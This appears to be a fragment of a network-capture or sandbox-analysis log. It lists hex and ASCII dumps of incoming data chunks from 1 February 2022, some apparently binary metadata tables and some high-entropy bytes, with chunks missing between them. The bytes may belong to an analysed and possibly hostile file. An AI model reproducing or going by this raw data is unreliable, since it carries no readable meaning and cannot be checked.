2022-02-01 01:06:35 UTC	52	IN	Data Raw: 0f fa 14 81 18 86 00 00 00 01 ba 00 06 f4 00 24 14 87 08 c6 00 00 00 01 b9 fc 06 f3 00 56 10 dc 00 86 00 00 00 01 b9 dc 06 f3 00 3b 10 dc 00 86 00 00 00 01 b9 bc 06 f2 00 56 10 75 00 86 00 00 00 01 b9 9c 06 f2 00 3b 10 75 00 86 00 00 00 01 b9 7c 06 f1 0e e6 10 75 00 86 00 00 00 01 b9 5c 06 f1 0e df 10 75 00 86 00 00 00 01 b9 3c 06 f0 01 b3 10 dc 00 86 00 00 00 01 b9 1c 06 f0 01 af 10 dc 00 86 00 00 00 01 b8 fc 06 ef 01 b3 10 75 00 86 00 00 00 01 b8 dc 06 ef 01 af 10 75 00 86 00 00 00 01 b8 bc 06 ee 01 bc 10 75 00 86 00 00 00 01 b8 9c 06 ee 01 b8 10 75 00 86 00 00 00 01 b8 7c 06 ee 00 20 14 81 18 86 00 00 00 01 b8 48 06 ed 0f ef 10 75 00 91 00 00 00 01 b7 dc 06 ec 0f e9 10 75 00 91 00 00 00 01 b7 70 06 eb 0f e3 10 75 00 91 00 00 00 01 b7 24 06 ea 0f dd 10 Data Ascii: $V;Vu;u\|u\u<uuuu\| Huupu$
2022-02-01 01:06:35 UTC	53	IN	Data Raw: bc 06 b4 0f 0d 14 81 18 86 00 00 00 01 a1 88 06 ae 0f 00 10 75 00 91 00 00 00 01 a0 e0 06 ab 0e f8 10 75 00 91 00 00 00 01 a0 54 06 ab 00 20 17 f5 00 c6 00 00 00 01 a0 4c 06 ab 00 20 17 ea 00 c6 00 00 00 01 a0 44 06 a9 0e ee 17 da 00 c6 00 00 00 01 a0 24 06 a7 0e ee 17 ca 00 c6 00 00 00 01 a0 04 06 a7 00 1c 14 59 18 91 00 00 00 01 9f cc 06 a6 01 9d 14 81 18 86 00 00 00 01 9f 8c 06 a6 00 20 14 81 18 86 00 00 00 01 9f 10 06 a6 00 24 14 87 08 c6 00 00 00 01 9f 0c 06 a5 0c 6e 10 dc 00 86 00 00 00 01 9e ec 06 a5 0c 68 10 dc 00 86 00 00 00 01 9e cc 06 a4 0e e6 10 dc 00 86 00 00 00 01 9e ac 06 a4 0e df 10 dc 00 86 00 00 00 01 9e 8c 06 a3 0e e6 10 75 00 86 00 00 00 01 9e 6c 06 a3 0e df 10 75 00 86 00 00 00 01 9e 4c 06 a2 01 bc 10 75 00 86 00 00 00 01 9e 2c 06 a2 Data Ascii: uuT L D$Y $nhuluLu,
2022-02-01 01:06:35 UTC	57	IN	Data Raw: 05 36 01 79 14 81 18 86 00 03 00 00 00 00 05 35 0b 35 14 e7 01 c6 00 03 00 00 00 00 05 31 0b b5 14 db 01 c6 00 03 00 00 00 00 05 2f 0b af 14 d4 01 c6 00 03 00 00 00 00 05 2d 01 79 14 81 18 86 00 03 00 00 00 00 05 2c 01 8e 14 e7 01 c6 00 03 00 00 00 00 05 28 0b 43 14 db 01 c6 00 03 00 00 00 00 05 26 0b 3c 14 d4 01 c6 00 03 00 00 00 00 05 24 01 79 14 81 18 86 00 03 00 00 00 00 05 22 0b a6 14 e7 01 c6 00 03 00 00 00 00 05 1b 0b 96 14 db 01 c6 00 03 00 00 00 00 05 16 0b 8b 14 d4 01 c6 00 03 00 00 00 00 05 14 01 79 14 81 18 86 00 03 00 00 00 00 05 11 0b 7c 14 e7 01 c6 00 03 00 00 00 00 05 05 0b 63 14 db 01 c6 00 03 00 00 00 00 04 fb 0b 4f 14 d4 01 c6 00 03 00 00 00 00 04 f9 01 79 14 81 18 86 00 03 00 00 00 00 04 f8 01 8e 14 e7 01 c6 00 03 00 00 00 00 04 f4 0b Data Ascii: 6y551/-y,(C&<$y"y\|cOy
2022-02-01 01:06:35 UTC	61	IN	Data Raw: 24 06 23 14 d4 01 c6 00 03 00 00 00 00 03 22 01 79 14 81 18 86 00 03 00 00 00 00 03 21 05 c0 14 e7 01 c6 00 03 00 00 00 00 03 1e 06 18 14 db 01 c6 00 03 00 00 00 00 03 1d 06 12 14 d4 01 c6 00 03 00 00 00 00 03 1b 01 79 14 81 18 86 00 03 00 00 00 00 03 1a 06 0a 14 e7 01 c6 00 03 00 00 00 00 03 15 05 fb 14 db 01 c6 00 03 00 00 00 00 03 12 05 f0 14 d4 01 c6 00 03 00 00 00 00 03 10 01 79 14 81 18 86 00 03 00 00 00 00 03 0f 05 c0 14 e7 01 c6 00 03 00 00 00 00 03 06 05 d9 14 db 01 c6 00 03 00 00 00 00 02 ff 05 c7 14 d4 01 c6 00 03 00 00 00 00 02 fd 01 79 14 81 18 86 00 03 00 00 00 00 02 fc 05 c0 14 e7 01 c6 00 03 00 00 00 00 02 fa 05 b7 14 db 01 c6 00 03 00 00 00 00 02 fa 00 20 14 d4 01 c6 00 03 00 00 00 00 02 f8 01 79 14 81 18 86 00 03 00 00 00 00 02 f7 05 ad Data Ascii: $#"y!yyy y
2022-02-01 01:06:35 UTC	65	IN	Data Raw: 00 00 6e 60 01 3e 02 68 11 ae 00 91 00 00 00 00 6e 1c 01 3c 02 68 15 a2 00 91 00 00 00 00 6d fc 01 3b 00 56 11 00 00 81 00 00 00 00 6d cc 01 39 02 68 15 9a 00 91 00 00 00 00 6d 7c 01 37 02 68 15 92 00 91 00 00 00 00 6c dc 01 35 02 7a 10 f4 00 91 00 00 00 00 6b 98 01 31 02 f2 11 00 00 91 00 00 00 00 68 f0 01 30 03 54 10 75 00 91 00 00 00 00 68 bc 01 2f 03 4d 10 75 00 81 00 00 00 00 68 b8 01 2e 03 44 10 75 00 81 00 00 00 00 67 b0 01 2d 00 88 10 75 00 81 00 00 00 00 67 ac 01 2d 00 20 10 ea 00 81 00 00 00 00 67 0c 01 2c 03 3b 10 75 00 81 00 00 00 00 66 94 01 2a 02 68 15 8a 00 91 00 00 00 00 66 6c 01 28 02 68 12 cf 00 91 00 00 00 00 66 4c 01 26 02 68 13 ac 00 91 00 00 00 00 66 28 01 24 02 68 13 d0 00 91 00 00 00 00 65 b8 01 22 02 68 11 46 00 91 00 00 00 00 65 Data Ascii: n`>hn<hm;Vm9hm\|7hl5zk1h0Tuh/Muh.Dug-ug- g,;uf*hfl(hfL&hf($he"hFe
2022-02-01 01:06:35 UTC	69	IN	Data Raw: f6 00 01 00 31 11 02 00 01 00 fd 10 ea 00 01 00 fd 10 de 00 01 00 fd 10 77 00 01 0c ea 11 18 00 01 0c e6 11 0c 00 01 01 ac 10 f4 00 01 00 fd 11 00 00 01 01 ac 10 e8 00 01 01 ac 10 dc 00 01 00 31 10 75 00 01 0c da 10 75 00 01 08 0f 10 75 00 01 00 fd 10 75 00 31 0a d5 10 e8 80 56 0a d5 10 dc 80 56 0a d5 10 75 80 56 00 31 16 9d 06 06 0c bc 10 dc 00 01 00 a1 10 75 00 01 0c b7 10 e8 01 33 0c b2 10 dc 01 33 0c ad 10 75 01 33 00 fd 10 75 00 01 00 31 10 f4 00 06 00 31 11 00 00 01 00 31 10 e8 00 01 00 31 10 dc 00 01 00 31 10 75 00 01 00 31 10 ea 00 01 0a 58 10 de 00 01 01 c1 10 77 00 01 01 c1 11 18 00 01 01 c1 11 0c 00 01 01 c1 10 f4 00 01 01 c1 11 00 00 01 01 95 10 e8 00 01 00 31 10 dc 00 01 00 2d 10 75 00 01 00 fd 10 e8 00 01 01 ac 10 dc 00 01 0c 63 10 75 00 01 Data Ascii: 1w1uuuu1VVuV1u33u3u11111u1Xw1-ucu
2022-02-01 01:06:35 UTC	73	IN	Data Raw: 12 a5 00 00 01 80 04 7b 02 1a 00 35 00 00 12 a0 00 10 01 00 04 7a 02 1a 01 b5 00 00 12 98 00 10 01 00 04 75 02 19 01 f8 00 00 12 93 00 10 01 00 04 70 02 17 01 b5 00 00 12 8b 00 10 01 00 04 6c 02 17 02 e0 00 00 12 86 00 10 01 00 04 6b 02 17 01 b5 00 00 12 7e 00 10 01 80 04 6b 02 17 03 69 00 00 10 75 00 00 01 13 04 6b 02 16 01 b5 00 00 12 79 00 00 01 00 04 6a 02 16 01 b5 00 00 12 71 00 10 01 80 04 67 02 15 01 b5 00 00 12 6c 00 00 01 80 04 66 02 15 01 b5 00 00 12 64 00 10 01 80 04 5e 02 14 03 2c 00 00 12 5f 00 10 01 00 04 5d 02 14 01 b5 00 00 12 57 00 10 01 80 04 4c 02 0e 01 b5 00 00 12 52 00 10 01 00 04 4b 02 0e 01 b5 00 00 12 4a 00 10 01 80 04 44 02 0d 03 2c 00 00 12 45 00 10 01 00 04 43 02 0d 00 00 00 00 12 3d 00 00 00 a0 04 3b 02 0b 01 b5 00 00 10 75 00 Data Ascii: {5zuplk~kiukyjqglfd^,_]WLRKJD,EC=;u
2022-02-01 01:06:35 UTC	77	IN	Data Raw: 10 bb f6 4f e0 e8 6c f2 95 02 f0 f5 22 00 a0 f3 5f 75 53 1d db a9 dd 73 3b ef 00 13 fc 54 96 23 5e db 9c 53 e1 78 8d 85 be 5f e8 e4 b7 78 a5 fb f5 77 4f c1 bf 20 90 ca 2e 61 3a cf 3c 5a 8a 0b 9f 2e 1f f9 d8 64 7d 1a bb 96 a7 97 55 fa 78 b0 d5 50 57 67 c7 a1 0f 33 60 5c 94 fa ab e2 44 aa cb 64 8b 39 76 ef 0e 48 68 81 ea 9d 76 82 5a 94 e5 21 47 4f 81 9d 3b c1 70 01 11 19 e1 7d e7 0c 4c 24 12 76 1b 4b 27 64 10 fb 80 66 2d 1a de 12 a7 48 1a 78 e3 c9 6a 11 58 a4 0d 2f 72 8e e1 f8 88 e5 fc 19 57 2f e6 3d 7e d9 d0 a3 fe da 92 ce 6f ae 9e 7c 0f 71 64 dd 64 2e 63 00 0a 4f c8 e5 ff ad 74 7a 22 65 2c 60 4c 04 6a 93 c1 f4 fb ce 12 56 3d dd af cf f3 9c 81 c8 d9 1e 4c 50 a0 0b 61 6f b4 51 05 49 f1 00 0a de 2d 2c cd 16 9c 4a 8f 0b c8 5d 80 51 8a 0e 56 e4 41 8c 8f 50 e9 Data Ascii: Ol"_uSs;T#^Sx_xwO .a:<Z.d}UxPWg3`\Dd9vHhvZ!GO;p}L$vK'df-HxjX/rW/=~o\|qdd.cOtz"e,`LjV=LPaoQI-,J]QVAP
2022-02-01 01:06:35 UTC	82	IN	Data Raw: e4 6a 55 5b 97 65 0c 9f 3a 4b 5f af 54 05 22 21 f4 0d 60 97 49 39 65 21 17 1d 54 b8 f9 26 00 50 ee 45 cf 61 7f 1f bb 81 c7 df ef 2b 03 98 c3 71 04 d8 2e bc 15 2c 28 5d 64 43 03 07 8a 7b 8a 04 bb 97 ef 10 b3 3b f4 a6 5e 18 a8 9c 21 02 08 4d 50 cf 3a 02 4c d8 ae 02 40 ca ce e5 8e 98 74 16 0b a5 94 7f fe d2 2b 61 f0 c6 86 de 1f 20 39 cd 21 d6 b9 ad 56 32 31 a5 56 27 53 a7 31 53 a1 d3 51 05 ab 78 0c 6f 85 94 d9 f5 e8 14 49 50 23 de 04 d3 d6 4a 39 0f 6a 1d 0c 46 8e b0 3c 9a f7 54 d9 3f be 0e 9a 7d 01 80 cc 13 fd 73 81 80 43 81 de 0d b6 a1 90 9d 54 36 79 16 d1 40 3b b9 50 82 c4 ce 8e bb 3b a5 9a df 26 c0 13 21 bf 27 9e c3 d0 af d9 2c 54 90 9c e3 b4 a6 9a ac a8 b6 9d 25 41 36 a2 f2 a8 dd 94 58 53 58 fb 15 b7 db 74 c3 37 9c 0a 71 79 0c 26 3f 3a 92 ad 76 6b ca 34 Data Ascii: jU[e:K_T"!`I9e!T&PEa+q.,(]dC{;^!MP:L@t+a 9!V21V'S1SQxoIP#J9jF<T?}sCT6y@;P;&!',T%A6XSXt7qy&?:vk4
2022-02-01 01:06:35 UTC	86	IN	Data Raw: 67 77 ce 0b 31 2c 84 b3 90 44 50 95 3b 07 f6 ab ec 8f e8 7a 2c 1e 76 d5 f6 31 04 e6 ae db 26 9a 18 cd c3 fe 7a f2 65 f3 39 81 0d 33 1c 1e cf 5a 81 33 27 53 f1 bf bf 45 56 8e 39 a5 66 f1 b5 49 2f d4 ad 69 b3 cb f8 72 59 f5 8a 4d 4d 26 12 5d 85 c2 a3 98 b9 0b 3d 64 70 e2 9e 54 37 f7 ac cf ea ee c0 81 ae 7f 96 6c d3 8c 2a 6a e8 da 46 90 ba 42 f1 2c 12 af b8 2d f7 8d 88 f3 b3 1b 7e bb aa 2d b0 73 b1 5a a2 1e 91 75 cd 00 bd 6b 7f fa e2 ce 3f 31 14 25 68 51 e8 4f 9e e1 88 92 88 40 df 59 71 8a 8c bd 7f 62 08 8a bc d1 e2 62 b5 cf 94 75 45 ce ab 78 a3 61 da c2 48 be 37 12 3e 7f 6a b3 02 15 6d aa 67 fe 6e 3e 3f 75 23 6c 0b 46 e7 ea 52 4f 53 ff 40 69 a0 57 89 84 f7 34 23 ff ad 1e 1d dd ba 87 f7 1c 89 0c eb 16 15 14 23 c1 22 87 0b 88 f9 65 b5 e2 f5 b6 4d 2b 0b 36 f7 Data Ascii: gw1,DP;z,v1&ze93Z3'SEV9fI/irYMM&]=dpT7l*jFB,-~-sZuk?1%hQO@YqbbuExaH7>jmgn>?u#lFROS@iW4##"eM+6
2022-02-01 01:06:35 UTC	90	IN	Data Raw: 60 45 b8 fc 5d 72 98 00 19 83 11 95 02 f6 9f 00 aa 6f d2 8b 56 34 e4 11 8e 7b a6 f9 5c f4 ca 1a e6 35 af 0e bf d4 7f a0 bb 20 c9 48 cb 62 95 26 e0 34 92 ed d8 83 31 78 8c 2d 89 0e d6 c1 72 55 1a d3 08 e1 52 28 b3 82 aa 9c ec e9 bd b3 f1 2d 3d ea 41 e0 31 a4 33 39 57 49 b8 28 51 33 c4 5c 1c d3 d1 c8 75 36 26 e4 d9 4f 2d 3f f6 2f b3 f9 88 20 54 7e a9 b6 9c d0 34 66 a3 ef a3 39 7b 95 b1 fc 82 44 df be 5a ce fb 73 8c 9f 1f 18 c9 d4 a0 1e d3 92 34 06 9b 77 9a 21 04 83 b3 5b 2b c1 b0 53 6c a4 28 ee 32 64 27 58 44 53 ef 8c 32 5d 86 3a 7c 71 b8 ff e8 b5 c2 69 a5 5b 52 8f 09 5c 73 58 18 b1 f2 80 76 cd 2d 79 48 1c b8 79 e1 91 3e aa c2 fb 06 89 21 ed f0 42 6f b7 b7 62 e8 b0 c5 5f 12 59 b1 9a fe f3 40 3f 5b 4b ba 41 57 3f 6e e0 c5 dc c9 95 67 2e 28 ff 0b d9 58 e9 94 Data Ascii: `E]roV4{\5 Hb&41x-rUR(-=A139WI(Q3\u6&O-?/ T~4f9{DZs4w![+Sl(2d'XDS2]:\|qi[R\sXv-yHy>!Bob_Y@?[KAW?ng.(X
2022-02-01 01:06:35 UTC	94	IN	Data Raw: b9 16 4c c7 71 ab 50 e7 e2 98 7d 97 ff eb a8 2c 94 4f 8d f9 f3 cb b0 36 6b f9 18 b2 04 ce 20 e7 fa a6 a7 95 5f 00 4d 1c 76 c7 70 36 85 9c fb 7e de cf 77 08 67 95 f9 fe 3d 8d 2a 24 67 fb cd 33 ee b3 15 67 fc ed d4 bd 0d 0d 02 a7 b0 ea 64 45 0c 8b c9 00 fa d9 aa 49 b9 49 f5 6e 31 a4 09 90 98 2c fd 85 28 6a 79 e6 e4 19 f4 0a 34 ea 3a 9f 97 1c e9 90 ef 71 c3 75 45 44 fa 79 42 4f 0a 64 38 6d fc 9e 28 13 db 2e 14 31 58 f8 c9 2a 6d e5 78 29 97 df 6b c7 4e 8f 79 01 a8 97 d8 02 c8 97 e1 07 e0 45 ee 42 6e 0f 75 49 f5 b8 9c 56 09 cc ad 86 9f ad a5 4a 3c 92 1e 82 c0 40 85 5d 6a da 0a cd 33 20 7a b1 26 28 96 94 5b 58 db 80 c4 41 eb ce 1d 71 a9 25 18 83 2e 55 04 bf 20 7e e5 ce 6f 5b 14 1c 38 34 de 46 a5 f8 b9 29 a8 c0 5a 1b 3d 1e d3 ff 9a 8e 1d 65 ac 4f 98 80 6d b9 bd Data Ascii: LqP},O6k _Mvp6~wg=$g3gdEIIn1,(jy4:quEDyBOd8m(.1Xmx)kNyEBnuIVJ<@]j3 z&([XAq%.U ~o[84F)Z=eOm
2022-02-01 01:06:35 UTC	97	IN	Data Raw: e5 49 de 62 0f bb b4 af 98 4f a4 58 f2 ab 18 56 c9 7c 10 99 76 4e 87 82 46 4f 9e cd dd c3 4f 98 4a 97 04 4b 9a d9 4e 14 04 25 28 bd ab c0 2d 84 3c 79 1f 4a 9c af 12 09 f7 e5 e5 c2 bf a3 9e f7 d4 be 59 3c 8a 0b a1 2f d6 c7 a2 70 9d dd 54 2c 78 9d 80 e5 03 cd 32 3a 29 47 1e fd d9 56 86 0d 45 af 6e 46 5b ea bd 65 43 1d a8 7e 45 df 6a e2 d6 c5 0a 3c 12 cc b1 de 7f 6e 70 b1 24 e7 33 dc d5 52 85 02 ff 23 23 c9 c3 66 ae 48 9d 4d a1 46 8f ab 60 1b 94 7f 21 5c 9a af f2 e7 76 63 a4 bb 89 69 2d 6c 17 ea e2 4f 72 8a 81 68 d8 d2 ed d1 52 86 7c a9 ac 89 7c 84 54 ab 4c b8 88 f2 20 7e 41 57 67 b6 14 c4 fe 0e e0 0a 73 44 9c bb 24 2d e3 a9 b6 39 81 e4 8d 7a d6 03 4b 59 f6 38 d6 a9 47 35 13 d7 73 f4 65 45 bc 50 d0 b6 8f 76 5c 1b 91 ca 52 9c 50 e8 71 e3 4d a8 f2 97 77 5b 85 Data Ascii: IbOXV\|vNFOOJKN%(-<yJY</pT,x2:)GVEnF[eC~Ej<np$3R##fHMF`!\vci-lOrhR\|\|TL ~AWgsD$-9zKY8G5seEPv\RPqMw[
2022-02-01 01:06:35 UTC	101	IN	Data Raw: 17 b4 27 a8 42 02 10 67 b2 95 80 9f c5 e6 28 0d c2 2e 48 bb a3 95 b4 60 c9 42 68 b5 45 9c 51 d0 21 53 7d 58 76 e3 6a 9e bd e6 d4 d5 ba 77 27 3b 8f 86 23 7d d2 b7 24 01 6d 3b 3b ca 61 1e fe 93 7c fe 4f fb 34 5a a6 ae f1 59 36 53 a4 6c 4e 28 3f 21 92 05 a6 83 6b 12 ef 44 a4 12 f2 8d a7 80 cd f2 7f 93 36 e6 45 4f d8 68 fc 9d bd 50 08 65 39 72 7d d2 41 09 28 fd 24 46 93 1a 2e 0e fb 20 d3 69 d2 48 e8 97 96 8b 7d 7c 64 49 df e6 78 f3 02 ae 90 bf 77 c7 55 5d 2f 8d b0 b7 8f 98 31 90 b3 5b 62 1e ac 57 47 f6 38 1f 4c e4 61 14 b0 3c 36 6d 11 6e e6 d5 af 21 e4 cc 94 81 e3 52 11 d2 9c 61 84 05 96 28 19 09 5b 5c 15 75 70 b1 69 4d 16 76 ce 77 ac eb 34 5a 67 79 32 3e ab 35 c6 30 1c 65 ae e8 cd e2 05 2e ed 73 6b 60 07 bc f3 b8 32 91 08 1f 11 97 54 b6 6c c6 ab 83 af 3e 04 Data Ascii: 'Bg(.H`BhEQ!S}Xvjw';#}$m;;a\|O4ZY6SlN(?!kD6EOhPe9r}A($F. iH}\|dIxwU]/1[bWG8La<6mn!Ra([\upiMvw4Zgy2>50e.sk`2Tl>
2022-02-01 01:06:35 UTC	105	IN	Data Raw: 31 da f6 2c 16 8b 0d 59 00 4c 75 6b 68 67 bc 5d 7b 99 ea c7 d3 71 b6 e8 10 bb 93 4d 82 59 80 ad 1c 2f 34 69 52 03 61 d2 2f 99 0b 1d 83 52 af a8 6e 75 76 57 2d e0 b1 b1 c4 d1 82 0f b4 66 0b c1 6d 13 69 64 9a ac ab f0 6d f8 9e 7f 2d 9e 79 a1 84 db f4 36 4d 71 c1 8d bb 11 7d 5d b9 30 82 79 40 3f 5d 02 7c e2 98 1f 0a 43 3b 94 b2 80 61 3c a8 27 1b 97 17 99 b7 20 a1 77 3e 01 76 f5 fe 72 f2 9e 18 d4 68 1b 72 f5 5a 30 55 1d 1f a6 19 de 08 91 65 29 d4 94 13 c8 12 29 5b a0 2b 50 b1 ef 9c a8 a5 00 a6 89 1e f7 47 08 1f 5e 84 4a 19 23 aa 84 8e 13 f3 3b 92 ef 3b 55 5e cd 56 5d 7e 33 d9 07 b9 ae 74 fa 24 ac d5 73 a7 5b 1f 6b 93 f6 4c bf 34 a2 a3 00 de cf 55 7b 64 a7 2a b9 f6 1f aa 4e dd 5a 0c 97 f7 1d 6f 43 2f 3e b7 b9 f9 1b 2c f2 6c 58 ad b9 e5 fe c9 bd fa 0a 0e b1 28 Data Ascii: 1,YLukhg]{qMY/4iRa/RnuvW-fmidm-y6Mq}]0y@?]\|C;a<' w>vrhrZ0Ue))[+PG^J#;;U^V]~3t$s[kL4U{d*NZoC/>,lX(
2022-02-01 01:06:35 UTC	109	IN	Data Raw: 7d e6 86 a5 0c 89 a9 2c 58 76 d4 bb 6c 85 fa b6 72 69 a9 05 46 b1 25 b8 e5 a2 f7 75 ce b6 a4 1c af d8 6a de 7c 73 d9 47 ed 9b e4 f8 f8 03 a2 8e 85 6e 9f 92 4d e2 7f 84 53 1f e1 8a 35 a4 b9 d7 dd 90 11 11 81 70 b6 7e a6 a6 36 4d 7e a4 66 29 61 8f 62 e5 8f 0c d1 d3 43 a3 8e 42 fc 86 32 dd e6 90 b4 10 76 8d 23 4c 1d d6 e9 4d f2 64 b6 20 44 66 3e a4 ea 58 22 de 70 76 a9 90 66 0a 8d 4f 83 a2 f4 ff 92 1c 15 c1 de 06 0a 45 05 1a 1c 1d 66 1c 4d 4c f2 03 ee 99 3c a8 63 2e 22 d0 cf 3e e0 35 5e 4f 3c 7a ec 09 09 64 96 56 c3 a5 0a e0 7f d7 8f 03 82 56 71 e8 c6 3c c5 e9 74 6e e6 57 0b 5d cc 67 f2 f2 88 06 f5 be d9 72 66 c9 8f 39 93 73 04 0c dc 74 4e 58 ef 91 1f 1d 31 14 10 3b b8 86 8c d2 75 eb 39 d1 de b0 c2 d8 fd 2d 37 1f a3 c7 2e 90 f7 a8 96 01 f8 db bf b7 87 1a a2 Data Ascii: },XvlriF%uj\|sGnMS5p~6M~f)abCB2v#LMd Df>X"pvfOEfML<c.">5^O<zdVVq<tnW]grf9stNX1;u9-7.
2022-02-01 01:06:35 UTC	114	IN	Data Raw: f0 60 8e 79 0c c4 a8 f8 75 21 10 e9 f9 77 98 77 e2 af d0 11 18 7a c3 50 7d 95 07 f3 6a bc ec de 0f df 27 f4 0f 69 e9 9e 86 36 00 43 2e a2 57 42 6f e8 59 19 4f 1e 68 e6 d1 ac 6b 79 1f fe 69 1a 27 3e 36 05 f1 a9 33 79 43 9e 28 9a 2f 6c 93 14 d8 ba 97 87 ed 47 34 56 a5 17 80 37 9f ff 5c 1b 95 4b 34 1f dc c3 9b ea 94 72 28 85 a2 35 1a 79 21 93 6c 49 8f 19 7b b3 79 77 6a 19 47 05 d8 e3 e0 f1 26 66 b3 33 20 b9 ea 30 0a 88 d9 c4 bf ab b9 be 99 51 7c 61 21 91 15 db 26 0c be 21 02 c9 98 ce 94 35 ef bf d5 72 f9 03 e3 04 fc cb ab d9 a0 29 f1 ed 22 e1 ab c6 9e a0 26 39 c2 05 b6 95 8f fb ae a6 4e a7 ed 28 c5 b2 22 b7 2a 9e 6b c5 e2 4a 4e 2a 7c 0d 97 d4 fd e6 d2 d3 80 ad da 50 bc 5e 8e 00 58 91 d5 12 7a 31 3b b0 a5 63 94 4c 68 b6 e2 11 fc ff 15 5c ad 20 4d 48 25 16 54 Data Ascii: `yu!wwzP}j'i6C.WBoYOhkyi'>63yC(/lG4V7\K4r(5y!lI{ywjG&f3 0Q\|a!&!5r)"&9N("kJN\|P^Xz1;cLh\ MH%T
2022-02-01 01:06:35 UTC	118	IN	Data Raw: b2 cc 7a f0 4b a4 76 5a a2 6f ae 52 fc 38 f3 1c 0b 4c 17 8c 50 a5 eb cc 04 46 3d ee 1e aa 54 5b b1 fe 41 71 b4 d4 50 e5 11 5f d8 e2 a3 de 33 65 20 86 53 d7 7c 63 23 90 bb 46 ae 02 4e 0a 00 34 57 27 c7 e8 a0 ea 8e 84 e7 ce f7 3d 1a 05 82 54 53 76 e1 35 1e 0d 8a 00 65 76 c9 d9 41 cf 98 4b 30 79 28 3d 84 e8 0f ab 4f fd 40 1e a6 90 06 52 4f bc a0 3c a1 fb 14 52 f0 33 8a 5e 62 06 2b 3f d2 98 08 92 b2 34 56 da a5 e9 ff e5 42 95 8c 2f 3a d9 c6 c7 d8 9a b5 4e de 2b 30 5f 72 13 e7 8f 33 1b 7e 91 cc fd a2 27 eb d9 d5 4b d0 67 52 58 bd 2b 82 db 45 1c a5 7d 89 02 36 8c 6e 18 d7 09 60 b2 ca 5e fb 18 22 d9 31 da 21 24 4f 0b 79 8e 9e 62 99 f1 69 e7 23 5c 3c 5d e8 a2 c9 a1 4b fa 35 34 94 47 8e 1b 57 41 e5 1d b3 e1 d9 9b e3 4e ed 98 d8 bd 87 3d e5 e0 cb ba e8 a4 cb 40 84 Data Ascii: zKvZoR8LPF=T[AqP_3e S\|c#FN4W'=TSv5evAK0y(=O@RO<R3^b+?4VB/:N+0_r3~'KgRX+E}6n`^"1!$Oybi#\<]K54GWAN=@
2022-02-01 01:06:35 UTC	122	IN	Data Raw: 30 19 e6 69 35 e7 af c2 fc d4 a6 dc 30 2c 42 ef 84 d0 a7 cc 11 94 f4 4f 84 c2 3c 87 f1 bf 9d a1 34 46 1a 77 65 83 f6 c0 5d 47 1f 05 24 23 05 95 dd 2c 5d 1c 98 ba 70 0e 53 a9 a7 fa eb 21 16 73 63 7c a6 a7 aa 70 08 b0 5d 95 35 0e d7 e1 4e 4f eb 1f 86 20 7e ec 2e 4a 81 57 3e d6 77 73 e7 50 8e cd c9 46 48 9c 62 db 3e cf 47 b6 b8 69 40 96 08 ce c9 b5 53 7b 82 51 e6 d5 58 d2 78 65 f8 80 2b 9d d6 a3 72 71 45 a4 c6 1a 52 5f 83 d5 cf 5e 21 a7 b5 ef c5 82 46 f2 a5 58 38 14 4a 10 5a b7 60 1d 7c 23 d4 5d a8 6e 8b 32 e8 dd b2 5b d8 d7 e2 95 13 7d f4 d4 ba eb 38 12 ea 07 65 5d 44 f5 8a e6 4b 30 13 44 87 2a b2 e3 49 88 71 ed 31 99 84 10 49 9a bf 94 b9 a8 44 ad c9 9c 33 8a 33 ec 37 15 d1 c0 10 76 72 1f ba 23 7a e4 f1 ea 05 a4 31 3a ee 7a 62 28 d2 9b 8b 81 4d 0f 45 4f 02 Data Ascii: 0i50,BO<4Fwe]G$#,]pS!sc\|p]5NO ~.JW>wsPFHb>Gi@S{QXxe+rqER_^!FX8JZ`\|#]n2[}8e]DK0D*Iq1ID337vr#z1:zb(MEO
2022-02-01 01:06:35 UTC	126	IN	Data Raw: 00 a8 b5 f8 53 87 ae d3 02 9c ac 13 47 c6 16 9e 71 43 fb 3c db 60 7b 55 2f eb 43 cf 70 4f ab 2e 87 08 08 14 c0 f7 ae cb f6 b4 89 a4 1c ef 42 92 da 85 16 72 69 b5 7b a6 2c cd 56 fd f7 a4 36 20 08 a0 6a b8 b4 03 3b 12 20 8b c8 08 20 b7 f2 2e 43 eb 53 b6 40 2b 18 e7 e8 3e 0b 7a eb 1b 01 37 e8 cd 49 6d 99 36 3c a6 9f 2c bc 7f 09 78 f4 6e 5a 7b ef 66 f5 31 90 85 32 88 61 f9 02 3c c4 49 b1 51 e9 79 a7 73 d9 67 44 33 0a 55 0d 02 96 7d c8 57 da a2 45 9b fc 07 4c 05 db 27 1d c8 e3 66 01 8f ff 74 b6 d4 81 3f e7 b7 49 b9 43 ee 3b 90 ac 94 48 9d cc 91 b0 67 fb 9a 96 74 40 ba 65 d3 5e 0b 52 4a 50 c6 36 e0 0b f2 52 b7 89 a0 55 3e 6f a8 15 a3 4d 9e a1 65 96 ec 6e 92 63 d2 09 5a e8 18 e4 80 8e 08 fd 39 a7 10 e9 0c 8e be 98 2e ae e3 0c 42 36 fa 22 48 42 98 fc 81 cb a4 e5 Data Ascii: SGqC<`{U/CpO.Bri{,V6 j; .CS@+>z7Im6<,xnZ{f12a<IQysgD3U}WEL'ft?IC;Hgt@e^RJP6RU>oMencZ9.B6"HB
2022-02-01 01:06:35 UTC	129	IN	Data Raw: 6b dd 99 e0 a8 81 58 ab 1b 0c 6c e3 d3 fc da cc af c8 db 82 08 88 c6 ad 4f 7c 50 9b eb be ff 94 25 2c 0a 51 b5 78 ba ec cf 01 9d dd 05 fb 91 4f 71 19 cc f6 9d b5 2a c3 2a 5c 23 e6 14 c1 5f e1 5c 94 41 a8 23 ed 20 99 e4 d6 ca 52 91 39 c8 42 d3 73 bf 06 e7 6d e2 62 0f 51 ef 5c 84 47 b1 f9 a8 0c fc 13 8c ef af d2 46 d5 64 60 53 ef 5d e5 18 c9 bd d8 34 da f8 82 5a de 7a 23 87 93 52 51 ec 13 51 56 72 70 4f 71 e5 42 ae 2a 43 ba c3 4c ed ec f8 0e af b3 a8 41 69 98 a0 c5 95 f9 e2 81 02 fa 6e 12 c8 cc d6 a1 81 05 0a 29 8e 01 cc 87 54 4d 92 66 44 68 06 3b 20 43 64 6e 65 31 8c 01 5d d7 19 99 bd 45 92 eb fb ef 78 ae 84 3c 19 09 c1 ac ae 60 55 78 24 0c 15 99 28 87 d3 21 e6 56 e1 1e 78 f7 d0 89 0c 30 6d 68 10 90 23 42 44 c5 e5 7e 59 db 77 bf 9a 10 69 66 b2 ed 05 b2 13 Data Ascii: kXlO\|P%,QxOq*\#_\A# R9BsmbQ\GFd`S]4Zz#RQQVrpOqBCLAin)TMfDh; Cdne1]Ex<`Ux$(!Vx0mh#BD~Ywif
